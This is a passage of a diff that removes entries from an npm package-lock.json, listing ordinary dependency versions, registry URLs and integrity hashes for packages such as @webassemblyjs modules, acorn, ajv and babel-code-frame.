-      "integrity": "sha512-Ri2R8nOS0U6G49Q86goFIPNgjyl6+oE1abW1pS84BuhP1Qcr5JqMwRFT3Ah3ADDDYGEgGs1iyb1DGX+kAi/c/Q=="
-    },
-    "@webassemblyjs/helper-code-frame": {
-      "version": "1.8.5",
-      "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-code-frame/-/helper-code-frame-1.8.5.tgz",
-      "integrity": "sha512-VQAadSubZIhNpH46IR3yWO4kZZjMxN1opDrzePLdVKAZ+DFjkGD/rf4v1jap744uPVU6yjL/smZbRIIJTOUnKQ==",
-      "requires": {
-        "@webassemblyjs/wast-printer": "1.8.5"
-      }
-    },
-    "@webassemblyjs/helper-fsm": {
-      "version": "1.8.5",
-      "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-fsm/-/helper-fsm-1.8.5.tgz",
-      "integrity": "sha512-kRuX/saORcg8se/ft6Q2UbRpZwP4y7YrWsLXPbbmtepKr22i8Z4O3V5QE9DbZK908dh5Xya4Un57SDIKwB9eow=="
-    },
-    "@webassemblyjs/helper-module-context": {
-      "version": "1.8.5",
-      "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-module-context/-/helper-module-context-1.8.5.tgz",
-      "integrity": "sha512-/O1B236mN7UNEU4t9X7Pj38i4VoU8CcMHyy3l2cV/kIF4U5KoHXDVqcDuOs1ltkac90IM4vZdHc52t1x8Yfs3g==",
-      "requires": {
-        "@webassemblyjs/ast": "1.8.5",
-        "mamacro": "^0.0.3"
-      }
-    },
-    "@webassemblyjs/helper-wasm-bytecode": {
-      "version": "1.8.5",
-      "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-wasm-bytecode/-/helper-wasm-bytecode-1.8.5.tgz",
-      "integrity": "sha512-Cu4YMYG3Ddl72CbmpjU/wbP6SACcOPVbHN1dI4VJNJVgFwaKf1ppeFJrwydOG3NDHxVGuCfPlLZNyEdIYlQ6QQ=="
-    },
-    "@webassemblyjs/helper-wasm-section": {
-      "version": "1.8.5",
-      "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-wasm-section/-/helper-wasm-section-1.8.5.tgz",
-      "integrity": "sha512-VV083zwR+VTrIWWtgIUpqfvVdK4ff38loRmrdDBgBT8ADXYsEZ5mPQ4Nde90N3UYatHdYoDIFb7oHzMncI02tA==",
-      "requires": {
-        "@webassemblyjs/ast": "1.8.5",
-        "@webassemblyjs/helper-buffer": "1.8.5",
-        "@webassemblyjs/helper-wasm-bytecode": "1.8.5",
-        "@webassemblyjs/wasm-gen": "1.8.5"
-      }
-    },
-    "@webassemblyjs/ieee754": {
-      "version": "1.8.5",
-      "resolved": "https://registry.npmjs.org/@webassemblyjs/ieee754/-/ieee754-1.8.5.tgz",
-      "integrity": "sha512-aaCvQYrvKbY/n6wKHb/ylAJr27GglahUO89CcGXMItrOBqRarUMxWLJgxm9PJNuKULwN5n1csT9bYoMeZOGF3g==",
-      "requires": {
-        "@xtuc/ieee754": "^1.2.0"
-      }
-    },
-    "@webassemblyjs/leb128": {
-      "version": "1.8.5",
-      "resolved": "https://registry.npmjs.org/@webassemblyjs/leb128/-/leb128-1.8.5.tgz",
-      "integrity": "sha512-plYUuUwleLIziknvlP8VpTgO4kqNaH57Y3JnNa6DLpu/sGcP6hbVdfdX5aHAV716pQBKrfuU26BJK29qY37J7A==",
-      "requires": {
-        "@xtuc/long": "4.2.2"
-      }
-    },
-    "@webassemblyjs/utf8": {
-      "version": "1.8.5",
-      "resolved": "https://registry.npmjs.org/@webassemblyjs/utf8/-/utf8-1.8.5.tgz",
-      "integrity": "sha512-U7zgftmQriw37tfD934UNInokz6yTmn29inT2cAetAsaU9YeVCveWEwhKL1Mg4yS7q//NGdzy79nlXh3bT8Kjw=="
-    },
-    "@webassemblyjs/wasm-edit": {
-      "version": "1.8.5",
-      "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-edit/-/wasm-edit-1.8.5.tgz",
-      "integrity": "sha512-A41EMy8MWw5yvqj7MQzkDjU29K7UJq1VrX2vWLzfpRHt3ISftOXqrtojn7nlPsZ9Ijhp5NwuODuycSvfAO/26Q==",
-      "requires": {
-        "@webassemblyjs/ast": "1.8.5",
-        "@webassemblyjs/helper-buffer": "1.8.5",
-        "@webassemblyjs/helper-wasm-bytecode": "1.8.5",
-        "@webassemblyjs/helper-wasm-section": "1.8.5",
-        "@webassemblyjs/wasm-gen": "1.8.5",
-        "@webassemblyjs/wasm-opt": "1.8.5",
-        "@webassemblyjs/wasm-parser": "1.8.5",
-        "@webassemblyjs/wast-printer": "1.8.5"
-      }
-    },
-    "@webassemblyjs/wasm-gen": {
-      "version": "1.8.5",
-      "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-gen/-/wasm-gen-1.8.5.tgz",
-      "integrity": "sha512-BCZBT0LURC0CXDzj5FXSc2FPTsxwp3nWcqXQdOZE4U7h7i8FqtFK5Egia6f9raQLpEKT1VL7zr4r3+QX6zArWg==",
-      "requires": {
-        "@webassemblyjs/ast": "1.8.5",
-        "@webassemblyjs/helper-wasm-bytecode": "1.8.5",
-        "@webassemblyjs/ieee754": "1.8.5",
-        "@webassemblyjs/leb128": "1.8.5",
-        "@webassemblyjs/utf8": "1.8.5"
-      }
-    },
-    "@webassemblyjs/wasm-opt": {
-      "version": "1.8.5",
-      "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-opt/-/wasm-opt-1.8.5.tgz",
-      "integrity": "sha512-HKo2mO/Uh9A6ojzu7cjslGaHaUU14LdLbGEKqTR7PBKwT6LdPtLLh9fPY33rmr5wcOMrsWDbbdCHq4hQUdd37Q==",
-      "requires": {
-        "@webassemblyjs/ast": "1.8.5",
-        "@webassemblyjs/helper-buffer": "1.8.5",
-        "@webassemblyjs/wasm-gen": "1.8.5",
-        "@webassemblyjs/wasm-parser": "1.8.5"
-      }
-    },
-    "@webassemblyjs/wasm-parser": {
-      "version": "1.8.5",
-      "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-parser/-/wasm-parser-1.8.5.tgz",
-      "integrity": "sha512-pi0SYE9T6tfcMkthwcgCpL0cM9nRYr6/6fjgDtL6q/ZqKHdMWvxitRi5JcZ7RI4SNJJYnYNaWy5UUrHQy998lw==",
-      "requires": {
-        "@webassemblyjs/ast": "1.8.5",
-        "@webassemblyjs/helper-api-error": "1.8.5",
-        "@webassemblyjs/helper-wasm-bytecode": "1.8.5",
-        "@webassemblyjs/ieee754": "1.8.5",
-        "@webassemblyjs/leb128": "1.8.5",
-        "@webassemblyjs/utf8": "1.8.5"
-      }
-    },
-    "@webassemblyjs/wast-parser": {
-      "version": "1.8.5",
-      "resolved": "https://registry.npmjs.org/@webassemblyjs/wast-parser/-/wast-parser-1.8.5.tgz",
-      "integrity": "sha512-daXC1FyKWHF1i11obK086QRlsMsY4+tIOKgBqI1lxAnkp9xe9YMcgOxm9kLe+ttjs5aWV2KKE1TWJCN57/Btsg==",
-      "requires": {
-        "@webassemblyjs/ast": "1.8.5",
-        "@webassemblyjs/floating-point-hex-parser": "1.8.5",
-        "@webassemblyjs/helper-api-error": "1.8.5",
-        "@webassemblyjs/helper-code-frame": "1.8.5",
-        "@webassemblyjs/helper-fsm": "1.8.5",
-        "@xtuc/long": "4.2.2"
-      }
-    },
-    "@webassemblyjs/wast-printer": {
-      "version": "1.8.5",
-      "resolved": "https://registry.npmjs.org/@webassemblyjs/wast-printer/-/wast-printer-1.8.5.tgz",
-      "integrity": "sha512-w0U0pD4EhlnvRyeJzBqaVSJAo9w/ce7/WPogeXLzGkO6hzhr4GnQIZ4W4uUt5b9ooAaXPtnXlj0gzsXEOUNYMg==",
-      "requires": {
-        "@webassemblyjs/ast": "1.8.5",
-        "@webassemblyjs/wast-parser": "1.8.5",
-        "@xtuc/long": "4.2.2"
-      }
-    },
-    "@xtuc/ieee754": {
-      "version": "1.2.0",
-      "resolved": "https://registry.npmjs.org/@xtuc/ieee754/-/ieee754-1.2.0.tgz",
-      "integrity": "sha512-DX8nKgqcGwsc0eJSqYt5lwP4DH5FlHnmuWWBRy7X0NcaGR0ZtuyeESgMwTYVEtxmsNGY+qit4QYT/MIYTOTPeA=="
-    },
-    "@xtuc/long": {
-      "version": "4.2.2",
-      "resolved": "https://registry.npmjs.org/@xtuc/long/-/long-4.2.2.tgz",
-      "integrity": "sha512-NuHqBY1PB/D8xU6s/thBgOAiAP7HOYDQ32+BFZILJ8ivkUkAHQnWfn6WhL79Owj1qmUnoN/YPhktdIoucipkAQ=="
-    },
-    "abab": {
-      "version": "2.0.3",
-      "resolved": "https://registry.npmjs.org/abab/-/abab-2.0.3.tgz",
-      "integrity": "sha512-tsFzPpcttalNjFBCFMqsKYQcWxxen1pgJR56by//QwvJc4/OUS3kPOOttx2tSIfjsylB0pYu7f5D3K1RCxUnUg=="
-    },
-    "accepts": {
-      "version": "1.3.7",
-      "resolved": "https://registry.npmjs.org/accepts/-/accepts-1.3.7.tgz",
-      "integrity": "sha512-Il80Qs2WjYlJIBNzNkK6KYqlVMTbZLXgHx2oT0pU/fjRHyEp+PEfEPY0R3WCwAGVOtauxh1hOxNgIf5bv7dQpA==",
-      "requires": {
-        "mime-types": "~2.1.24",
-        "negotiator": "0.6.2"
-      }
-    },
-    "acorn": {
-      "version": "7.1.1",
-      "resolved": "https://registry.npmjs.org/acorn/-/acorn-7.1.1.tgz",
-      "integrity": "sha512-add7dgA5ppRPxCFJoAGfMDi7PIBXq1RtGo7BhbLaxwrXPOmw8gq48Y9ozT01hUKy9byMjlR20EJhu5zlkErEkg=="
-    },
-    "acorn-globals": {
-      "version": "4.3.4",
-      "resolved": "https://registry.npmjs.org/acorn-globals/-/acorn-globals-4.3.4.tgz",
-      "integrity": "sha512-clfQEh21R+D0leSbUdWf3OcfqyaCSAQ8Ryq00bofSekfr9W8u1jyYZo6ir0xu9Gtcf7BjcHJpnbZH7JOCpP60A==",
-      "requires": {
-        "acorn": "^6.0.1",
-        "acorn-walk": "^6.0.1"
-      },
-      "dependencies": {
-        "acorn": {
-          "version": "6.4.1",
-          "resolved": "https://registry.npmjs.org/acorn/-/acorn-6.4.1.tgz",
-          "integrity": "sha512-ZVA9k326Nwrj3Cj9jlh3wGFutC2ZornPNARZwsNYqQYgN0EsV2d53w5RN/co65Ohn4sUAUtb1rSUAOD6XN9idA=="
-        }
-      }
-    },
-    "acorn-jsx": {
-      "version": "5.2.0",
-      "resolved": "https://registry.npmjs.org/acorn-jsx/-/acorn-jsx-5.2.0.tgz",
-      "integrity": "sha512-HiUX/+K2YpkpJ+SzBffkM/AQ2YE03S0U1kjTLVpoJdhZMOWy8qvXVN9JdLqv2QsaQ6MPYQIuNmwD8zOiYUofLQ=="
-    },
-    "acorn-walk": {
-      "version": "6.2.0",
-      "resolved": "https://registry.npmjs.org/acorn-walk/-/acorn-walk-6.2.0.tgz",
-      "integrity": "sha512-7evsyfH1cLOCdAzZAd43Cic04yKydNx0cF+7tiA19p1XnLLPU4dpCQOqpjqwokFe//vS0QqfqqjCS2JkiIs0cA=="
-    },
-    "address": {
-      "version": "1.1.2",
-      "resolved": "https://registry.npmjs.org/address/-/address-1.1.2.tgz",
-      "integrity": "sha512-aT6camzM4xEA54YVJYSqxz1kv4IHnQZRtThJJHhUMRExaU5spC7jX5ugSwTaTgJliIgs4VhZOk7htClvQ/LmRA=="
-    },
-    "adjust-sourcemap-loader": {
-      "version": "2.0.0",
-      "resolved": "https://registry.npmjs.org/adjust-sourcemap-loader/-/adjust-sourcemap-loader-2.0.0.tgz",
-      "integrity": "sha512-4hFsTsn58+YjrU9qKzML2JSSDqKvN8mUGQ0nNIrfPi8hmIONT4L3uUaT6MKdMsZ9AjsU6D2xDkZxCkbQPxChrA==",
-      "requires": {
-        "assert": "1.4.1",
-        "camelcase": "5.0.0",
-        "loader-utils": "1.2.3",
-        "object-path": "0.11.4",
-        "regex-parser": "2.2.10"
-      },
-      "dependencies": {
-        "camelcase": {
-          "version": "5.0.0",
-          "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-5.0.0.tgz",
-          "integrity": "sha512-faqwZqnWxbxn+F1d399ygeamQNy3lPp/H9H6rNrqYh4FSVCtcY+3cub1MxA8o9mDd55mM8Aghuu/kuyYA6VTsA=="
-        },
-        "emojis-list": {
-          "version": "2.1.0",
-          "resolved": "https://registry.npmjs.org/emojis-list/-/emojis-list-2.1.0.tgz",
-          "integrity": "sha1-TapNnbAPmBmIDHn6RXrlsJof04k="
-        },
-        "json5": {
-          "version": "1.0.1",
-          "resolved": "https://registry.npmjs.org/json5/-/json5-1.0.1.tgz",
-          "integrity": "sha512-aKS4WQjPenRxiQsC93MNfjx+nbF4PAdYzmd/1JIj8HYzqfbu86beTuNgXDzPknWk0n0uARlyewZo4s++ES36Ow==",
-          "requires": {
-            "minimist": "^1.2.0"
-          }
-        },
-        "loader-utils": {
-          "version": "1.2.3",
-          "resolved": "https://registry.npmjs.org/loader-utils/-/loader-utils-1.2.3.tgz",
-          "integrity": "sha512-fkpz8ejdnEMG3s37wGL07iSBDg99O9D5yflE9RGNH3hRdx9SOwYfnGYdZOUIZitN8E+E2vkq3MUMYMvPYl5ZZA==",
-          "requires": {
-            "big.js": "^5.2.2",
-            "emojis-list": "^2.0.0",
-            "json5": "^1.0.1"
-          }
-        }
-      }
-    },
-    "aggregate-error": {
-      "version": "3.0.1",
-      "resolved": "https://registry.npmjs.org/aggregate-error/-/aggregate-error-3.0.1.tgz",
-      "integrity": "sha512-quoaXsZ9/BLNae5yiNoUz+Nhkwz83GhWwtYFglcjEQB2NDHCIpApbqXxIFnm4Pq/Nvhrsq5sYJFyohrrxnTGAA==",
-      "requires": {
-        "clean-stack": "^2.0.0",
-        "indent-string": "^4.0.0"
-      }
-    },
-    "ajv": {
-      "version": "6.12.0",
-      "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.12.0.tgz",
-      "integrity": "sha512-D6gFiFA0RRLyUbvijN74DWAjXSFxWKaWP7mldxkVhyhAV3+SWA9HEJPHQ2c9soIeTFJqcSdFDGFgdqs1iUU2Hw==",
-      "requires": {
-        "fast-deep-equal": "^3.1.1",
-        "fast-json-stable-stringify": "^2.0.0",
-        "json-schema-traverse": "^0.4.1",
-        "uri-js": "^4.2.2"
-      }
-    },
-    "ajv-errors": {
-      "version": "1.0.1",
-      "resolved": "https://registry.npmjs.org/ajv-errors/-/ajv-errors-1.0.1.tgz",
-      "integrity": "sha512-DCRfO/4nQ+89p/RK43i8Ezd41EqdGIU4ld7nGF8OQ14oc/we5rEntLCUa7+jrn3nn83BosfwZA0wb4pon2o8iQ=="
-    },
-    "ajv-keywords": {
-      "version": "3.4.1",
-      "resolved": "https://registry.npmjs.org/ajv-keywords/-/ajv-keywords-3.4.1.tgz",
-      "integrity": "sha512-RO1ibKvd27e6FEShVFfPALuHI3WjSVNeK5FIsmme/LYRNxjKuNj+Dt7bucLa6NdSv3JcVTyMlm9kGR84z1XpaQ=="
-    },
-    "alphanum-sort": {
-      "version": "1.0.2",
-      "resolved": "https://registry.npmjs.org/alphanum-sort/-/alphanum-sort-1.0.2.tgz",
-      "integrity": "sha1-l6ERlkmyEa0zaR2fn0hqjsn74KM="
-    },
-    "ansi-colors": {
-      "version": "3.2.4",
-      "resolved": "https://registry.npmjs.org/ansi-colors/-/ansi-colors-3.2.4.tgz",
-      "integrity": "sha512-hHUXGagefjN2iRrID63xckIvotOXOojhQKWIPUZ4mNUZ9nLZW+7FMNoE1lOkEhNWYsx/7ysGIuJYCiMAA9FnrA=="
-    },
-    "ansi-escapes": {
-      "version": "4.3.1",
-      "resolved": "https://registry.npmjs.org/ansi-escapes/-/ansi-escapes-4.3.1.tgz",
-      "integrity": "sha512-JWF7ocqNrp8u9oqpgV+wH5ftbt+cfvv+PTjOvKLT3AdYly/LmORARfEVT1iyjwN+4MqE5UmVKoAdIBqeoCHgLA==",
-      "requires": {
-        "type-fest": "^0.11.0"
-      },
-      "dependencies": {
-        "type-fest": {
-          "version": "0.11.0",
-          "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.11.0.tgz",
-          "integrity": "sha512-OdjXJxnCN1AvyLSzeKIgXTXxV+99ZuXl3Hpo9XpJAv9MBcHrrJOQ5kV7ypXOuQie+AmWG25hLbiKdwYTifzcfQ=="
-        }
-      }
-    },
-    "ansi-html": {
-      "version": "0.0.7",
-      "resolved": "https://registry.npmjs.org/ansi-html/-/ansi-html-0.0.7.tgz",
-      "integrity": "sha1-gTWEAhliqenm/QOflA0S9WynhZ4="
-    },
-    "ansi-regex": {
-      "version": "4.1.0",
-      "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-4.1.0.tgz",
-      "integrity": "sha512-1apePfXM1UOSqw0o9IiFAovVz9M5S1Dg+4TrDwfMewQ6p/rmMueb7tWZjQ1rx4Loy1ArBggoqGpfqqdI4rondg=="
-    },
-    "ansi-styles": {
-      "version": "3.2.1",
-      "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz",
-      "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==",
-      "requires": {
-        "color-convert": "^1.9.0"
-      }
-    },
-    "anymatch": {
-      "version": "2.0.0",
-      "resolved": "https://registry.npmjs.org/anymatch/-/anymatch-2.0.0.tgz",
-      "integrity": "sha512-5teOsQWABXHHBFP9y3skS5P3d/WfWXpv3FUpy+LorMrNYaT9pI4oLMQX7jzQ2KklNpGpWHzdCXTDT2Y3XGlZBw==",
-      "requires": {
-        "micromatch": "^3.1.4",
-        "normalize-path": "^2.1.1"
-      }
-    },
-    "aproba": {
-      "version": "1.2.0",
-      "resolved": "https://registry.npmjs.org/aproba/-/aproba-1.2.0.tgz",
-      "integrity": "sha512-Y9J6ZjXtoYh8RnXVCMOU/ttDmk1aBjunq9vO0ta5x85WDQiQfUF9sIPBITdbiiIVcBo03Hi3jMxigBtsddlXRw=="
-    },
-    "argparse": {
-      "version": "1.0.10",
-      "resolved": "https://registry.npmjs.org/argparse/-/argparse-1.0.10.tgz",
-      "integrity": "sha512-o5Roy6tNG4SL/FOkCAN6RzjiakZS25RLYFrcMttJqbdd8BWrnA+fGz57iN5Pb06pvBGvl5gQ0B48dJlslXvoTg==",
-      "requires": {
-        "sprintf-js": "~1.0.2"
-      }
-    },
-    "aria-query": {
-      "version": "4.0.2",
-      "resolved": "https://registry.npmjs.org/aria-query/-/aria-query-4.0.2.tgz",
-      "integrity": "sha512-S1G1V790fTaigUSM/Gd0NngzEfiMy9uTUfMyHhKhVyy4cH5O/eTuR01ydhGL0z4Za1PXFTRGH3qL8VhUQuEO5w==",
-      "requires": {
-        "@babel/runtime": "^7.7.4",
-        "@babel/runtime-corejs3": "^7.7.4"
-      }
-    },
-    "arity-n": {
-      "version": "1.0.4",
-      "resolved": "https://registry.npmjs.org/arity-n/-/arity-n-1.0.4.tgz",
-      "integrity": "sha1-2edrEXM+CFacCEeuezmyhgswt0U="
-    },
-    "arr-diff": {
-      "version": "4.0.0",
-      "resolved": "https://registry.npmjs.org/arr-diff/-/arr-diff-4.0.0.tgz",
-      "integrity": "sha1-1kYQdP6/7HHn4VI1dhoyml3HxSA="
-    },
-    "arr-flatten": {
-      "version": "1.1.0",
-      "resolved": "https://registry.npmjs.org/arr-flatten/-/arr-flatten-1.1.0.tgz",
-      "integrity": "sha512-L3hKV5R/p5o81R7O02IGnwpDmkp6E982XhtbuwSe3O4qOtMMMtodicASA1Cny2U+aCXcNpml+m4dPsvsJ3jatg=="
-    },
-    "arr-union": {
-      "version": "3.1.0",
-      "resolved": "https://registry.npmjs.org/arr-union/-/arr-union-3.1.0.tgz",
-      "integrity": "sha1-45sJrqne+Gao8gbiiK9jkZuuOcQ="
-    },
-    "array-equal": {
-      "version": "1.0.0",
-      "resolved": "https://registry.npmjs.org/array-equal/-/array-equal-1.0.0.tgz",
-      "integrity": "sha1-jCpe8kcv2ep0KwTHenUJO6J1fJM="
-    },
-    "array-flatten": {
-      "version": "2.1.2",
-      "resolved": "https://registry.npmjs.org/array-flatten/-/array-flatten-2.1.2.tgz",
-      "integrity": "sha512-hNfzcOV8W4NdualtqBFPyVO+54DSJuZGY9qT4pRroB6S9e3iiido2ISIC5h9R2sPJ8H3FHCIiEnsv1lPXO3KtQ=="
-    },
-    "array-includes": {
-      "version": "3.1.1",
-      "resolved": "https://registry.npmjs.org/array-includes/-/array-includes-3.1.1.tgz",
-      "integrity": "sha512-c2VXaCHl7zPsvpkFsw4nxvFie4fh1ur9bpcgsVkIjqn0H/Xwdg+7fv3n2r/isyS8EBj5b06M9kHyZuIr4El6WQ==",
-      "requires": {
-        "define-properties": "^1.1.3",
-        "es-abstract": "^1.17.0",
-        "is-string": "^1.0.5"
-      }
-    },
-    "array-union": {
-      "version": "1.0.2",
-      "resolved": "https://registry.npmjs.org/array-union/-/array-union-1.0.2.tgz",
-      "integrity": "sha1-mjRBDk9OPaI96jdb5b5w8kd47Dk=",
-      "requires": {
-        "array-uniq": "^1.0.1"
-      }
-    },
-    "array-uniq": {
-      "version": "1.0.3",
-      "resolved": "https://registry.npmjs.org/array-uniq/-/array-uniq-1.0.3.tgz",
-      "integrity": "sha1-r2rId6Jcx/dOBYiUdThY39sk/bY="
-    },
-    "array-unique": {
-      "version": "0.3.2",
-      "resolved": "https://registry.npmjs.org/array-unique/-/array-unique-0.3.2.tgz",
-      "integrity": "sha1-qJS3XUvE9s1nnvMkSp/Y9Gri1Cg="
-    },
-    "array.prototype.flat": {
-      "version": "1.2.3",
-      "resolved": "https://registry.npmjs.org/array.prototype.flat/-/array.prototype.flat-1.2.3.tgz",
-      "integrity": "sha512-gBlRZV0VSmfPIeWfuuy56XZMvbVfbEUnOXUvt3F/eUUUSyzlgLxhEX4YAEpxNAogRGehPSnfXyPtYyKAhkzQhQ==",
-      "requires": {
-        "define-properties": "^1.1.3",
-        "es-abstract": "^1.17.0-next.1"
-      }
-    },
-    "arrify": {
-      "version": "1.0.1",
-      "resolved": "https://registry.npmjs.org/arrify/-/arrify-1.0.1.tgz",
-      "integrity": "sha1-iYUI2iIm84DfkEcoRWhJwVAaSw0="
-    },
-    "asap": {
-      "version": "2.0.6",
-      "resolved": "https://registry.npmjs.org/asap/-/asap-2.0.6.tgz",
-      "integrity": "sha1-5QNHYR1+aQlDIIu9r+vLwvuGbUY="
-    },
-    "asn1": {
-      "version": "0.2.4",
-      "resolved": "https://registry.npmjs.org/asn1/-/asn1-0.2.4.tgz",
-      "integrity": "sha512-jxwzQpLQjSmWXgwaCZE9Nz+glAG01yF1QnWgbhGwHI5A6FRIEY6IVqtHhIepHqI7/kyEyQEagBC5mBEFlIYvdg==",
-      "requires": {
-        "safer-buffer": "~2.1.0"
-      }
-    },
-    "asn1.js": {
-      "version": "4.10.1",
-      "resolved": "https://registry.npmjs.org/asn1.js/-/asn1.js-4.10.1.tgz",
-      "integrity": "sha512-p32cOF5q0Zqs9uBiONKYLm6BClCoBCM5O9JfeUSlnQLBTxYdTK+pW+nXflm8UkKd2UYlEbYz5qEi0JuZR9ckSw==",
-      "requires": {
-        "bn.js": "^4.0.0",
-        "inherits": "^2.0.1",
-        "minimalistic-assert": "^1.0.0"
-      }
-    },
-    "assert": {
-      "version": "1.4.1",
-      "resolved": "https://registry.npmjs.org/assert/-/assert-1.4.1.tgz",
-      "integrity": "sha1-mZEtWRg2tab1s0XA8H7vwI/GXZE=",
-      "requires": {
-        "util": "0.10.3"
-      }
-    },
-    "assert-plus": {
-      "version": "1.0.0",
-      "resolved": "https://registry.npmjs.org/assert-plus/-/assert-plus-1.0.0.tgz",
-      "integrity": "sha1-8S4PPF13sLHN2RRpQuTpbB5N1SU="
-    },
-    "assign-symbols": {
-      "version": "1.0.0",
-      "resolved": "https://registry.npmjs.org/assign-symbols/-/assign-symbols-1.0.0.tgz",
-      "integrity": "sha1-WWZ/QfrdTyDMvCu5a41Pf3jsA2c="
-    },
-    "ast-types-flow": {
-      "version": "0.0.7",
-      "resolved": "https://registry.npmjs.org/ast-types-flow/-/ast-types-flow-0.0.7.tgz",
-      "integrity": "sha1-9wtzXGvKGlycItmCw+Oef+ujva0="
-    },
-    "astral-regex": {
-      "version": "1.0.0",
-      "resolved": "https://registry.npmjs.org/astral-regex/-/astral-regex-1.0.0.tgz",
-      "integrity": "sha512-+Ryf6g3BKoRc7jfp7ad8tM4TtMiaWvbF/1/sQcZPkkS7ag3D5nMBCe2UfOTONtAkaG0tO0ij3C5Lwmf1EiyjHg=="
-    },
-    "async": {
-      "version": "2.6.3",
-      "resolved": "https://registry.npmjs.org/async/-/async-2.6.3.tgz",
-      "integrity": "sha512-zflvls11DCy+dQWzTW2dzuilv8Z5X/pjfmZOWba6TNIVDm+2UDaJmXSOXlasHKfNBs8oo3M0aT50fDEWfKZjXg==",
-      "requires": {
-        "lodash": "^4.17.14"
-      }
-    },
-    "async-each": {
-      "version": "1.0.3",
-      "resolved": "https://registry.npmjs.org/async-each/-/async-each-1.0.3.tgz",
-      "integrity": "sha512-z/WhQ5FPySLdvREByI2vZiTWwCnF0moMJ1hK9YQwDTHKh6I7/uSckMetoRGb5UBZPC1z0jlw+n/XCgjeH7y1AQ=="
-    },
-    "async-limiter": {
-      "version": "1.0.1",
-      "resolved": "https://registry.npmjs.org/async-limiter/-/async-limiter-1.0.1.tgz",
-      "integrity": "sha512-csOlWGAcRFJaI6m+F2WKdnMKr4HhdhFVBk0H/QbJFMCr+uO2kwohwXQPxw/9OCxp05r5ghVBFSyioixx3gfkNQ=="
-    },
-    "asynckit": {
-      "version": "0.4.0",
-      "resolved": "https://registry.npmjs.org/asynckit/-/asynckit-0.4.0.tgz",
-      "integrity": "sha1-x57Zf380y48robyXkLzDZkdLS3k="
-    },
-    "atob": {
-      "version": "2.1.2",
-      "resolved": "https://registry.npmjs.org/atob/-/atob-2.1.2.tgz",
-      "integrity": "sha512-Wm6ukoaOGJi/73p/cl2GvLjTI5JM1k/O14isD73YML8StrH/7/lRFgmg8nICZgD3bZZvjwCGxtMOD3wWNAu8cg=="
-    },
-    "autoprefixer": {
-      "version": "9.7.6",
-      "resolved": "https://registry.npmjs.org/autoprefixer/-/autoprefixer-9.7.6.tgz",
-      "integrity": "sha512-F7cYpbN7uVVhACZTeeIeealwdGM6wMtfWARVLTy5xmKtgVdBNJvbDRoCK3YO1orcs7gv/KwYlb3iXwu9Ug9BkQ==",
-      "requires": {
-        "browserslist": "^4.11.1",
-        "caniuse-lite": "^1.0.30001039",
-        "chalk": "^2.4.2",
-        "normalize-range": "^0.1.2",
-        "num2fraction": "^1.2.2",
-        "postcss": "^7.0.27",
-        "postcss-value-parser": "^4.0.3"
-      }
-    },
-    "aws-sign2": {
-      "version": "0.7.0",
-      "resolved": "https://registry.npmjs.org/aws-sign2/-/aws-sign2-0.7.0.tgz",
-      "integrity": "sha1-tG6JCTSpWR8tL2+G1+ap8bP+dqg="
-    },
-    "aws4": {
-      "version": "1.9.1",
-      "resolved": "https://registry.npmjs.org/aws4/-/aws4-1.9.1.tgz",
-      "integrity": "sha512-wMHVg2EOHaMRxbzgFJ9gtjOOCrI80OHLG14rxi28XwOW8ux6IiEbRCGGGqCtdAIg4FQCbW20k9RsT4y3gJlFug=="
-    },
-    "axobject-query": {
-      "version": "2.1.2",
-      "resolved": "https://registry.npmjs.org/axobject-query/-/axobject-query-2.1.2.tgz",
-      "integrity": "sha512-ICt34ZmrVt8UQnvPl6TVyDTkmhXmAyAT4Jh5ugfGUX4MOrZ+U/ZY6/sdylRw3qGNr9Ub5AJsaHeDMzNLehRdOQ=="
-    },
-    "babel-code-frame": {
-      "version": "6.26.0",
-      "resolved": "https://registry.npmjs.org/babel-code-frame/-/babel-code-frame-6.26.0.tgz",
-      "integrity": "sha1-Y/1D99weO7fONZR9uP42mj9Yx0s=",
-      "requires": {
-        "chalk": "^1.1.3",
-        "esutils": "^2.0.2",
-        "js-tokens": "^3.0.2"
-      },
-      "dependencies": {
-        "ansi-regex": {
-          "version": "2.1.1",
-          "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-2.1.1.tgz",
-          "integrity": "sha1-w7M6te42DYbg5ijwRorn7yfWVN8="
-        },
-        "ansi-styles": {
-          "version": "2.2.1",
-          "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-2.2.1.tgz",
-          "integrity": "sha1-tDLdM1i2NM914eRmQ2gkBTPB3b4="
-        },
-        "chalk": {
-          "version": "1.1.3",
-          "resolved": "https://registry.npmjs.org/chalk/-/chalk-1.1.3.tgz",
-          "integrity": "sha1-qBFcVeSnAv5NFQq9OHKCKn4J/Jg=",
-          "requires": {
-            "ansi-styles": "^2.2.1",
-            "escape-string-regexp": "^1.0.2",
-            "has-ansi": "^2.0.0",
-            "strip-ansi": "^3.0.0",
-            "supports-color": "^2.0.0"
-          }
-        },
-        "js-tokens": {
-          "version": "3.0.2",
-          "resolved": "https://registry.npmjs.org/js-tokens/-/js-tokens-3.0.2.tgz",
-          "integrity": "sha1-mGbfOVECEw449/mWvOtlRDIJwls="
-        },
-        "strip-ansi": {
-          "version": "3.0.1",
-          "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-3.0.1.tgz",
-          "integrity": "sha1-ajhfuIU9lS1f8F0Oiq+UJ43GPc8=",
-          "requires": {
-            "ansi-regex": "^2.0.0"
-          }
-        },
-        "supports-color": {
-          "version": "2.0.0",
-          "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-2.0.0.tgz",
-          "integrity": "sha1-U10EXOa2Nj+kARcIRimZXp3zJMc="
-        }
-      }
-    },
-    "babel-eslint": {
